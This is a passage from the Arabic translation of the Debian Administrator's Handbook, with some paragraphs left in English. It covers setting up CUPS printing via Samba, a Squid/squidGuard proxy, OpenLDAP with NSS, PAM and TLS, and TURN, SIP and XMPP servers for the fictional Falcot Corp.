CUPS هو حل أنيق للطباعة من محطة عمل لينكس على طابعة يشاركها جهاز ويندوز. عند تثبيت الحزمة smbclient، يسمح CUPS بثبيت طابعات ويدوز المشتركة تلقائياً.

إليك الخطوات اللازمة:

ادخل إلى واجهة إعداد CUPS: ‏http://localhost:631/admin

انقر على ”إضافة طابعة“.

اختر الطابعة، انتق ”طابعة ويندوز عبر سامبا“.

أدخل عنوان URI للاتصال بالطابعة الشبكية. يجب أن يشبه ما يلي:

smb://user:password@server/printer.

أدخل الاسم الذي سيعرف هذه الطابعة بشكل فريد. بعدها أدخل وصف الطابعة ومكانها. سوف تُعرَض هذه المعلومات للمستخدمين النهائيين لمساعدتهم على تمييز الطابعات.

حدد الشركة الصانعة للطابعة وطرازها، أو فوراً قدّم ملف وصف طابعة مناسب (PPD).

تهانينا! الطابعة تعمل!

11.6. بروكسي HTTP/FTP

يعمل بروكسي HTTP/FTP كوسيط في اتصالات HTTP و (أو) FTP. يتمثل دور البروكسي في جزأين:

التخبئة (Caching): تخزين نسخ من الملفات الأخيرة المسحوبة من الإنترنت محلياً، لتفادي تنزيلها عدة مرات.

الترشيح: إذا كان العميل مجبراً على استخدام البروكسي (وكانت الاتصالات الخارجة ممنوعة إلا إذا مَرَّت عبر البروكسي)، عندها يستطيع البروكسي التحكم بمنع الطلبات أو السماح بتنفيذها.

اختارت شركة فلكوت Squid كمخدم بروكسي.

11.6.1. التثبيت

The squid[2] Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

قبل التثبيت، يجب الانتباه إلى التحقق من أن النظام يستطيع التعرّف على اسمه الكامل: يجب أن يعيد الأمر hostname -f اسماً كامل التوصيف fully-qualified (أي يتضمن اسم نطاق). إذا لم يُعِد ذلك، يجب تعديل الملف /etc/hosts حتى يحوي الاسم الكامل للنظام (مثلاً، arrakis.falcot.com). يجب التحقق من الاسم الرسمي للحاسوب مع مدير الشبكة لتفادي أي تضاربات.

11.6.2. إعداد خدمة التخبئة

Enabling the caching server feature is a simple matter of editing the /etc/squid/squid.conf configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:

مثال 11.22. The /etc/squid/squid.conf file (excerpts)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. إعداد خدمة الترشيح

squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid/squid.conf file:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi.gz as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the service squid reload command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

يجب إعادة توليد قاعدة بيانات العمل باستخدام update-squidguard بعد كل تعديل على ملف ضبط squidGuard (أو تعديل إحدى قوائم النطافات أو عناوين URL التي يحويها). صيغة ملف الضبط موثّقة على الموقع التالي:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (a DansGuardian Fork)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, but it can take advantage of the PICS[3] (Platform for Internet Content Selection) to decide whether a page is acceptable by dynamic analysis of its contents.

[2] The squid3 package, providing Squid until Debian Jessie, is now a transitional package and will automatically install squid.

[3] PICS has been superseded by the Protocol for Web Description Resources (POWDER system: https://www.w3.org/2009/08/pics_superseded.html.

11.7. دليل LDAP

OpenLDAP هي تطبيق لبروتوكول LDAP؛ أي أنها قاعدة بيانات خاصة مصممة لتخزين الأدلة. في أغلب الأحيان، يسمح استخدام مخدم LDAP بمركزة إدارة حسابات المستخدمين وصلاحياتهم. كما أن نسخ قاعدة بيانات LDAP سهل، وهذا يسمح بإعداد مجموعة مخدمات LDAP متزامنة. عندما تنمو الشبكة وقاعدة المستخدمين سريعاً، يمكن عندئذ موازنة الحمل بين عدة مخدمات.

بيانات LDAP بنيوية (structured) وهرمية (hierarchical). تتحدد بنى البيانات ”بالسكيماهات schemas“ التي تعرّف أنواع الكائنات التي تستطيع قاعدة البيانات تخزينها، بالإضافة لقائمة تشمل جميع الصفات التي قد تأخذها هذه الكائنات. تعتمد الصيغة المستخدمة لتمثيل كائن ما في قاعدة البيانات على هذه البنية، ولذلك فهي معقّدة.

11.7.1. التثبيت

تحوي الحزمة slapd مخدم OpenLDAP. وتتضمن الحزمة ldap-utils أدوات نصية للتعامل مع مخدمات LDAP.

Installing slapd usually asks only for the administrator's password and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:

تجاهل إعداد مخدم OpenLDAP؟ طبعاً لا، نحن نريد إعداد هذه الخدمة.

اسم مخدم DNS: ‏”falcot.com“.

اسم المنظمة: ”Falcot Corp“.

يجب كتابة كلمة سر الإدارة.

الطرف النهائي (backend) المستخدم لقاعدة البيانات: ”MDB“.

هل تريد إزالة قاعدة البيانات عند تطهير slapd؟ لا. لا فائدة من المخاطرة بخسارة قاعدة البيانات عن طريق الخطأ.

نقل قاعدة البيانات القديمة؟ يظهر هذا السؤال فقط إذا أجريت الإعداد مع وجود قاعدة بيانات سابقة. أجب ”بنعم“ فقط إذا كنت فعلاً تريد البدء من جديد مع قاعدة بيانات نظيفة، مثلاً إذا استدعيت dpkg-reconfigure slapd مباشرة بعد التثبيت الأولي.

أساسيات صيغة LDIF

ملف LDIF ‏(LDAP Data Interchange Format) هو ملف نصي محمول يصف محتويات قاعدة بيانات LDAP (أو جزءاً منها)؛ يمكن استخدامه لاحقاً لحقن البيانات في أي مخدم LDAP آخر.

أُعدَّت الآن قاعدة بيانات مصغرة، كما يوضح لنا الاستعلام التالي:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 3 # numEntries: 2

أعاد الاستعلام كائنين: المنظّمة نفسها، والمستخدم الإداري.

11.7.2. تعبئة الدليل

بما أن قاعدة البيانات الفارغة لا تفيدنا بحد ذاتها، فسوف نحقن فيها جميع البيانات السابقة؛ بما في ذلك قواعد بيانات المستخدمين والمجموعات والخدمات والمضيفات.

توفر الحزمة migrationtools مجموعة من السكربتات المخصصة لاستخراج البيانات من أدلة يونكس التقليدية (/etc/passwd، ‏/etc/group، ‏/etc/services، ‏/etc/hosts وغيرها)، وتحويل هذه البيانات وحقنها في قاعدة بيانات LDAP.

بعد تثبيت الحزمة، يجب تحرير /etc/migrationtools/migrate_common.ph، لتفعيل الخيارين IGNORE_UID_BELOW وIGNORE_GID_BELOW (يكفي إزالة التعليق عنهما)، كما يجب تحديث قيمة DEFAULT_MAIL_DOMAIN/DEFAULT_BASE.

يجري الأمر migrate_all_online.sh عملية الهجرة الفعلية، كما يلي:

# cd /usr/share/migrationtools # LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

يطرح migrate_all_online.sh بضعة أسئلة عن قاعدة بيانات LDAP التي يجب تهجير البيانات إليها. يلخص جدول 11.1 الإجابات التي استخدمت في حالة فلكوت.

جدول 11.1. إجابات الأسئلة التي يطرحها السكربت migrate_all_online.sh

السؤال | الجواب
X.500 naming context | dc=falcot,dc=com
LDAP server hostname | localhost
Manager DN | cn=admin,dc=falcot,dc=com
Bind credentials | كلمة سر الإدارة
Create DUAConfigProfile | لا

لقد تجاهلنا تهجير الملف /etc/aliases عمداً، لأن السكيما القياسية التي توفرها دبيان لا تتضمن البنى التي يستخدمها هذا السكربت لتوصيف الأسماء المتعددة لعناوين البريد الإلكتروني. إذا أردنا نقل هذه البيانات إلى المجلد، يجب إضافة الملف /etc/ldap/schema/misc.schema إلى السكيما القياسية.

أدوات استعراض دليل LDAP

الأمر jxplorer (من الحزمة ذات الاسم نفسه) هو أداة رسومية تسمح باستعراض وتحرير قاعدة بيانات LDAP. هذه الأداة أداة مفيدة تعطي مدير النظام صورة أفضل عن البنية الهرمية لبيانات LDAP.

لاحظ أيضاً استخدام الخيار -c مع الأمر ldapadd؛ يطلب هذا الأمر عدم إيقاف المعالجة في حال حدوث خطأ. نحتاج استخدام هذا الخيار لأن تحويل /etc/services يولّد غالباً بضعة أخطاء يمكن تجاهلها بأمان.

11.7.3. إدارة الحسابات باستخدام LDAP

بعد أن حَوَت قاعدة بيانات LDAP الآن بعض المعلومات المفيدة. آن اوان استخدام هذه البيانات. يركز هذا القسم على طريقة إعداد نظام لينكس بحيث تَستخدِم أدلة النظام المتنوعة قاعدة بيانات LDAP بشكل شفاف.

11.7.3.1. إعداد NSS

نظام NSS ‏(Name Service Switch، انظر التعمق أكثر NSS وقواعد بيانات النظام) هو نظام تجزيئي مصمم لتعريف أو جلب معلومات أدلة النظام. لاستخدام LDAP كمصدر لبيانات NSS، يجب تثبيت الحزمة libnss-ldap. تطرح عملية تثبيتها بضعة أسئلة؛ لقد لخصنا الإجابات في جدول 11.2.

جدول 11.2. إعداد الحزمة libnss-ldap

السؤال | الجواب
LDAP server Uniform Resource Identifier (عنوان URI لمخدم LDAP) | ldapi://ldap.falcot.com
Distinguished name of the search base (الاسم المميِّز لقاعدة البحث) | dc=falcot,dc=com
LDAP version to use (نسخة LDAP المستخدمة) | 3
LDAP account for root (حساب LDAP للجذر) | cn=admin,dc=falcot,dc=com
LDAP root account password (كلمة سر حساب جذر LDAP) | كلمة سر الإدارة
Allow LDAP admin account behave like local root? | yes
Does the LDAP database require login?‎ (هل تحتاج قاعدة بيانات LDAP تسجيل الدخول؟)? | لا

The /etc/nsswitch.conf file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module. You can use the example provided in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap or edit your existing configuration.

مثال 11.23. الملف /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

تضاف الوحدة ldap قبل الوحدات الأخرى عادة، وبالتالي تُرسَل الطلبات إليها أولاً. الاستثناء الواضح هو خدمة hosts لأن الاتصال بمخدم LDAP يحتاج استشارة DNS أولاً (لاستبيان ldap.falcot.com). إذا لم نضع هذا الاستثناء، ستحاول طلبات استبيان (resolve) أسماء المضيفات سؤال مخدم LDAP، وهذا سيحتاج لطلب استبيان اسم مخدم LDAP نفسه، وتدور الطلبات في حلقة لا نهائية.

إذا كنا سنعتبر مخدم LDAP المرجع الوحيد (ولن نأخذ الملفات المحلية التي تستخدمها الوحدة files بعين الاعتبار)، فيجب إعداد الخدمات باستخدام الصيغة التالية:

service: ldap [NOTFOUND=return] files.

إذا اكنت المدخلة المطلوبة غير موجودة في قاعدة بيانات LDAP فسوف يعطي الاستعلام رد ”غير موجود“، حتى لو كان المورد المطلوب متوفراً في أحد الملفات المحلية؛ ولن تستخدم هذه الملفات المحلية إلا عندما تتوقف خدمة LDAP عن العمل.

11.7.3.2. إعداد PAM

يشرح هذا القسم إعداد PAM (انظر وراء الكواليس /etc/environment و /etc/default/locale) بطريقة تسمح للتطبيقات بإجراء المصادقات المطلوية مع قاعدة بيانات LDAP.

تحذير تعطل المصادقة

تعديل إعدادات PAM القياسية التي تستخدمها البرامج المختلفة عملية حساسة. قد تتعطل المصادقة بالخطأ، وهذا قد يمنع تسجيل الدخول. من الإجراءات الوقائية الجيدة ترك سطر أوامر بصلاحيات الجذر مفتوحاً. فإذا حدث خطأ في الإعدادات، يمكن إصلاحه وإعادة تشغيل الخدمات دون جهد يذكر.

تقدم الحزمة libpam-ldap وحدة LDAP التي توفر PAM. تطرح عملية تثبيت هذه الحزمة بضعة أسئلة شبيهة جداً بتلك التي تطرحها libnss-ldap؛ بل إن بعض متغيرات الضبط (مثل URI مخدم LDAP) مشتركة بين الحزمتين. لخصنا الإجابات في جدول 11.3.

جدول 11.3. إعداد libpam-ldap

السؤال | الجواب
Allow LDAP admin account to behave like local root?‎ (السماح لحساب مدير LDAP بالعمل مثل الجذر المحلي؟)? | نعم. هذا يسمح باستخدام الأمر المعتاد passwd لتغيير كلمات السر المخزّنة في قاعدة بيانات LDAP.
Does the LDAP database require logging in?‎ (هل تحتاج قاعدة بيانات LDAP لتسجيل الدخول؟)? | لا
LDAP account for root (حساب LDAP للجذر) | cn=admin,dc=falcot,dc=com
LDAP root account password (كلمة سر حساب جذر LDAP) | كلمة سر إدارة قاعدة بيانات LDAP
Local encryption algorithm to use for passwords (خوارزمية تشفير كلمات السر المستخدمة محلياً) | crypt

عملية تثبيت libpam-ldap تتبنى تلقائياً إعدادات PAM الافتراضية المعرّفة في الملفات /etc/pam.d/common-auth و/etc/pam.d/common-password و/etc/pam.d/common-account. تستخدم هذه الآلية الأداة المتخصصة pam-auth-update (التي توفرها الحزمة libpam-runtime). كما يستطيع مدير النظام أيضاً تشغيل هذه الأداة إذا أراد تفعيل او تعطيل وحدات PAM.

11.7.3.3. تأمين تبادلات بيانات LDAP

افتراضياً، ينقل LDAP البيانات عبر الشبكة بشكلها الصريح؛ وهذا يشمل كلمات السر (المشفرة). بما أنه يمكن استخلاص كلمات السر المشفرة من الشبكة، فقد تتعرض لهجمات القواميس (Dictionary attacks). يمكن تفادي هذا باستخدام طبقة تشفير إضافية، يتحدث هذا القسم عن تفعيل هذه الطبقة.

11.7.3.3.1. إعداد المخدم

The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see قسم 10.2.2, “البنية التحتية للمفاتيح العامة: easy-rsa”). Running ./easyrsa build-server-full ldap.falcot.com nopass will ask you about the “common name”. The answer to that question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com.

This command creates a certificate in the pki/issued/ldap.falcot.com.crt file; the corresponding private key is stored in pki/private/ldap.falcot.com.key.

يجب الآن تثبيت هذه المفاتيح في موقعها القياسي، كما يجب أن نتأكد أن مخدم LDAP الذي يعمل بهوبة المستخدم openldap يملك صلاحية قراءة الملف الخاص:

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # ./eassyrsa gen-dh Note: using Easy-RSA configuration from: ./vars Using SSL: openssl OpenSSL 1.1.1c 28 May 2019 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time ........................................................+..........................................................................+...............................................................................+............ [...] DH parameters of size 2048 created at /home/roland/pki/dh.pem # mv pki/dh.pem /etc/ssl/certs/ldap.falcot.com.pem

كما يجب إعداد خدمة slapd أيضاً لاستخدام هذه المفاتيح للتشفير. إدارة إعدادات مخدم LDAP ديناميكية: بما أنها مخزنة في جزء خاص من الدليل نفسه، فيمكن تحديث الإعدادات باستخدام عمليات LDAP عادية تُجرَى على شجرة الكائنات cn=config، ويحدّث المخدم الملف /etc/ldap/slapd.d في الوقت الحقيقي حتى تصبح الإعدادات دائمة. الأداة ldapmodify هي الأداة الصحيحة لتحديث الإعدادات:

مثال 11.24. إعداد slapd لاستخدام التشفير

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem - add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config"

أدوات تحرير مجلد LDAP باستخدام ldapvi

يمكنك استخدام ldapvi لعرض مخرجات LDIF لأي جزء من دليل LDAP، ثم إجراء بعض التعديلات باستخدام محرر نصوص، وبعدها ترك الأداة تجري عمليات LDAP الموافقة بدلاً منك.

هذه الطريقة مريحة خصوصاً عند تحديث إعدادات مخدم LDAP، وذلك بتحرير الشجرة cn=config ببساطة.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

تشمل آخر خطوة في تفعيل التشفير تعديل المتغير SLAPD_SERVICES في الملف /etc/default/slapd . حتى نتفادى أي مخاطرات، سوف نعطّل LDAP غير المؤمن كله.

مثال 11.25. الملف /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. إعداد العميل

عند جهة العميل، يجب تعديل إعدادات الوحدتين libpam-ldap وlibnss-ldap حتى تستخدما عناوين ldaps://.

كما يجب أن يتمكن العملاء أيضاً من المصادقة مع المخدم. في البنية التحتية لمفاتيح X.509 العامة، تُوقّع الشهادات العامة باستخدام مفتاح سلطة تصديق (certificate authority، أو CA). استخدام مديرو النظم في فلكوت easy-rsa لإنشاء سلطة تصديق خاصة بهم، وعليهم الآن إعداد النظام بحيث يثق بتواقيع سلطة التصديق هذه الخاصة بشركة فلكوت. يمكن إجراء هذا بإضافة الشهادة إلى /usr/local/share/ca-certificates واستدعاء update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d.... Adding debian:falcot.pem done. done.

أخيراً وليس آخراً، يمكن تعديل عنوان URI الافتراضي وDN الأساسي التي تستخدمها العديد من أدوات سطر الأوامر افتراضياً في الملف /etc/ldap/ldap.conf. هذا سيوفر طباعة هذه المتغيرات كلما استدعينا أحد هذه الأوامر.

مثال 11.26. الملف /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. BASE dc=falcot,dc=com URI ldaps://ldap.falcot.com #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. خدمات التواصل في الزمن الحقيقي

Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.

→ https://rtcquickstart.org

يوفر كلاً من SIP وXMPP نفس الوظائف. لكن SIP معروف أكثر في مجال الصوت والفيديو بينما يعتبر XMPP تقليدياً بروتوكولاً للمراسلة الفورية (IM). في الواقع، يمكن استخدام أي منهما لأي من هذه الأغراض. من المستحسن استخدام الاثنين معاً على التوازي لزيادة خيارات الاتصال.

These services rely on X.509 certificates both for authentication and confidentiality purposes. See قسم 10.2, “X.509 certificates” for more information.

11.8.1. إعدادات DNS لخدمات RTC

تحتاج خدمات RTC لسجلات DNS SRV وNAPTR. هذا مثال عن إعداد يمكن وضعه في ملف المنطقة الخاص بنطاق falcot.com:

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. مخدم TURN

TURN هي خدمة تساعد العملاء الذين تفصل بينهم موجهات NAT والجدران النارية على اكتشاف الطريق الأكثر فعالية للتواصل فيما بينهم ونقل تيار البيانات (stream) إذا لم يعثروا على طريق مباشر لنقل الوسائط. ينصح بشدة بتثبيت مخدم TURN قبل إتاحة أي خدمة RTC أخرى للمستخدمين النهائيين.

TURN وبروتوكول ICE المرتبط بها هما معياران مفتوحان. من المهم أن تضمن أن كافة برمجيات العملاء تدعم ICE وTURN للاستفادة من هذين المعيارين وتحقيق أعظم قدر من الاتصالية وتقليل خيبات المستخدمين إلى أدنى حد.

يجب أن يملك المخدم عنواني IPv4 عموميين حتى تعمل خوارزمية ICE بفعالية.

Install the coturn package and edit the /etc/turnserver.conf configuration file. By default, a SQLite database is configured in /var/db/turndb for user account settings, but PostgreSQL, MySQL or Redis can be set up instead if preferred. The most important thing to do is insert the IP addresses of the server.

The server can be started running /usr/bin/turnserver. We want the server to be an an automatically started system service, so we edit the /etc/default/coturn file like this:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

By default, the TURN server uses anonymous access. We have to add the users we want to use:

# turnadmin -a -u roland -p secret_password -r falcot.com # turnadmin -A -u admin -p secret_password

We use the argument -a to add a normal user and -A to add an admin user.

11.8.3. مخدم بروكسي SIP

يدير مخدم بروكسي SIP اتصالات SIP الواردة والصادرة بين المنظمات الأخرى، أو مزودي SIP trunking، أو مقاسم SIP الهاتفية الخاصة (Private Automatic Branch eXchange أو PBX اختصاراً) مثل Asterisk، أو هواتف SIP، أو تطبيقات المهاتفة وWebRTC المعتمدة على SIP.

ننصح بشدة أن تثبت بروكسي SIP وتضبطه قبل محاولة تثبيت SIP PBX (المقسم الهاتفي الخاص). ينظم بروكسي SIP جزءاً كبيراً من البيانات الواردة إلى PBX ويسمح بدرجات أعلى من القدرة على الاتصال والمتانة.

11.8.3.1. تثبيت بروكسي SIP

Install the kamailio package and the package for the database backend, the Falcot administrators chose MySQL, so they install mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # $CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Now we focus on the configuration file /etc/kamailio/kamailio.cfg. Falcot needs user authentication and persistent user location, so they add the following #!define directives at the top of that file:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio needs a database structure that we can create running kamdbctl create as root.

Finally, we can add some users with kamctl.

# kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see قسم 13.10, “برمجيات التواصل في الزمن الحقيقي”)

11.8.4. مخدم XMPP

يدير مخدم XMPP الاتصالات بين مستخدمي XMPP المحليين ومستخدمي XMPP في النطاقات الأخرى على الإنترنت العام.

مصطلحات XMPP أو Jabber؟

يشار إلى XMPP أحياناً باسم Jabber. في الواقع، Jabber هي علامة تجارية وXMPP هو الاسم الرسمي للمعيار القياسي.

Prosody هو مخدم XMPP شهير يعمل بشكل موثوق على مخدمات دبيان.

11.8.4.1. تثبيت مخدم XMPP

Install the prosody package.

راجع ملف الإعداد /etc/prosody/prosody.cfg.lua. أهم شيء تفعله هو إدخال JIDs للمستخدمين الذين يُسمَح لهم بإدارة المخدم.

admins = { "joe@falcot.com" }

ستحتاج لملف إعداد منفصل لكل نطاق أيضاً. انسخ المثال من /etc/prosody/conf.avail/example.com.cfg.lua واستخدمه كنقطة بدء. هذا ملف falcot.com.cfg.lua:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com-key.pem"; certificate = "/etc/ssl/public/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

لتفعيل النطاق، يجب إنشاء رابط رمزي له من المجلد /etc/prosody/conf.d/. أنشئه كما يلي:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

إعادة تشغيل الخدمة لاعتماد الإعدادات الجديدة.

11.8.4.2. إدارة مخدم XMPP

يمكن إجراء بعض عمليات الإدارة باستخدام الأداة النصية prosodyctl. مثلاً، لإضافة حساب المدير المعرف في /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

See the Prosody online documentation for more details about how to customize the configuration.

11.8.5. تشغيل الخدمات على المنفذ 443

بفضل بعض مديرو النظم تشغيل كافة خدمات RTC على المنفذ 443. يساعد هذا المستخدمين على الاتصال من المواقع البعيدة مثل الفنادق والمطارات لأن المنافذ الأخرى قد تحجب أو قد تستخدم مخدمات HTTP وسيطة لتمرير الاتصال بالإنترنت.

لاستخدام هذه الاستراتيجية، ستحتاج كل خدمة (SIP، وXMPP وTURN) لعنوان IP مختلف. يمكن أن تبقى الخدمات كلها على المضيف نفسه حيث يدعم لينكس تعدد عناوين IP للمضيف الواحد. يجب تحديد رقم المنفذ 443 في ملفات الإعداد لكل عملية وأيضاً في سجلات DNS SRV.

11.8.6. إضافة WebRTC

تريد فلكوت السماح للزبائن بالاتصال هاتفياً مباشرة من موقع الوب. كما يريد مديرو النظم في فلكوت أيضاً استخدام WebRTC كجزء من خطتهم للإنقاذ من الكوارث، بحيث يستطيع الموظفون استخدام متصفحات الوب من بيوتهم للدخول إلى نظام الشركة الهاتفي والعمل بشكل طبيعي في حالات الطوارئ.

ممارسة عملية تجربة WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://www.sip5060.net/test-calls

WebRTC is a rapidly evolving technology and it is essential to use packages from the Testing distribution. Another option is to compile the software.

WebRTC uses a simple API to provide browsers and mobile applications with RTC, it is free software and it is being developed by Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://github.com/centricular/gstwebrtc-demos

More advanced click-to-call web sites typically use server-side scripting to generate the config.js file dynamically. The DruCall source code demonstrates how to do this with PHP.

